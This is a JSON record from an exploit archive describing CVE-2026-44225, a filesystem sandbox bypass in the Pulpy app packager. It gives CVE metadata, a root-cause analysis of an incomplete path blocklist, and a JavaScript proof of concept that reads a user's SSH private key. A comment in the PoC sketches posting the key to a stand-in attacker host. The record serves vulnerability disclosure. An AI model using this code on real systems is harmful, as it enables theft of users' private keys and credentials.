{"exploit":{"id":"EDB-52616","name":"Pulpy 0.1.1-Beta - 'validateFsPath()' Filesystem Sandbox Bypass","description":"Pulpy 0.1.1-Beta - 'validateFsPath()' Filesystem Sandbox Bypass","cves":["CVE-2026-44225"],"author":"Onur BILICI","published":"2026-07-06","platform":"multiple","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52616","path":"exploits/multiple/webapps/52616.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52616.txt","vulnerabilities":[{"id":"CVE-2026-44225","state":"PUBLISHED","title":"Pulpy: Incomplete filesystem sandbox in pulpy.fs bridge allows packaged web apps to read arbitrary user files","titleSource":"CVE Program","description":"Pulpy is a lightweight, cross-platform desktop application packager for web apps. Prior to 0.1.1, Pulpy injects a pulpy.fs JavaScript API into every packaged web application, giving it access to the host filesystem. A validateFsPath() function is supposed to sandbox this access, but its blocklist is incomplete. Any web app packaged with Pulpy can read and write arbitrary files in the user's home directory — including ~/.ssh/id_rsa, ~/.aws/credentials, and ~/Library/Keychains/. This vulnerability is fixed in 0.1.1.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44225","cvss":{"version":"3.1","baseScore":9.3,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44225"},"updatedAt":"2026-05-14T12:31:23.658Z","retrievedAt":"2026-11-25T16:13:47.503Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52616.png?v=2","url":"https://exploitbin.com/exploits/EDB-52616","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52616/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52616/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Pulpy 0.1.1-Beta - Filesystem Sandbox Bypass\n# Google Dork: N/A\n# Date: 2026-06-19\n# Exploit Author: Onur BILICI @basekill\n# Vendor Homepage: https://github.com/enesgkky/pulpy\n# Software Link: https://github.com/enesgkky/pulpy\n# Version: <= 0.1.1-Beta\n# Tested on: macOS, Linux\n# CVE: CVE-2026-44225\n\nDescription:\n  Pulpy injects a 'pulpy.fs' JavaScript API into every packaged web application,\n  granting it access to the host filesystem. A 'validateFsPath()' function is\n  implemented to sandbox this access using a blocklist. However, this blocklist\n  is incomplete.\n\n  The implementation only catches root-level paths (e.g., matching \"/Library/\"\n  at index 0), meaning it completely misses user-specific paths such as\n  \"/Users/<username>/Library/\" or critical configuration directories like\n  \"~/.ssh/\", \"~/.aws/\", and \"~/Documents/\".\n\n  As a result, any malicious web application packaged with Pulpy can bypass the\n  sandbox to read and write arbitrary sensitive files in the user's home directory.\n\nRoot Cause Analysis:\n  In 'src/bridge/native_modules.mm', the path validation logic relies on a weak\n  prefix check:\n\n  std::string normalized = fs::weakly_canonical(p).string();\n  if (normalized.find(\"/etc/\") == 0 ||\n      normalized.find(\"/var/\") == 0 ||\n      normalized.find(\"/usr/\") == 0 ||\n      normalized.find(\"/System/\") == 0 ||\n      normalized.find(\"/Library/\") == 0) {\n      return \"\";\n  }\n  return normalized;\n\nProof of Concept (PoC):\n  An attacker can execute the following JavaScript code within a Pulpy-packaged\n  application to exfiltrate sensitive user data:\n\n  ```javascript\n  // Bypassing the sandbox to read sensitive files from the user's home directory\n  try {\n      // Example target: SSH private key\n      // Note: You need to replace '<username>' with the target's actual username or dynamically resolve it\n      const sshKeyPath = \"/Users/<username>/.ssh/id_rsa\";\n\n      pulpy.fs.readFile(sshKeyPath, 'utf8', (err, data) => {\n          if (err) {\n              console.error(\"Failed to read file:\", err);\n              return;\n          }\n          console.log(\"Successfully bypassed sandbox! Content:\\n\", data);\n\n          // Exfiltration logic can be placed here (e.g., fetch('[https://attacker.com/log](https://attacker.com/log)', {method: 'POST', body: data}))\n      });\n  } catch (e) {\n      console.error(\"Exploit failed:\", e);\n  }","sha256":"5f454da156ea6db1eb1b3f402515c865d4e5eccbc874abb2cd2d6aa0a59e1d44","bytes":2387,"fetchedAt":"2026-11-26T08:57:10.659Z","encoding":"utf-8 (display only; download retains original bytes)"}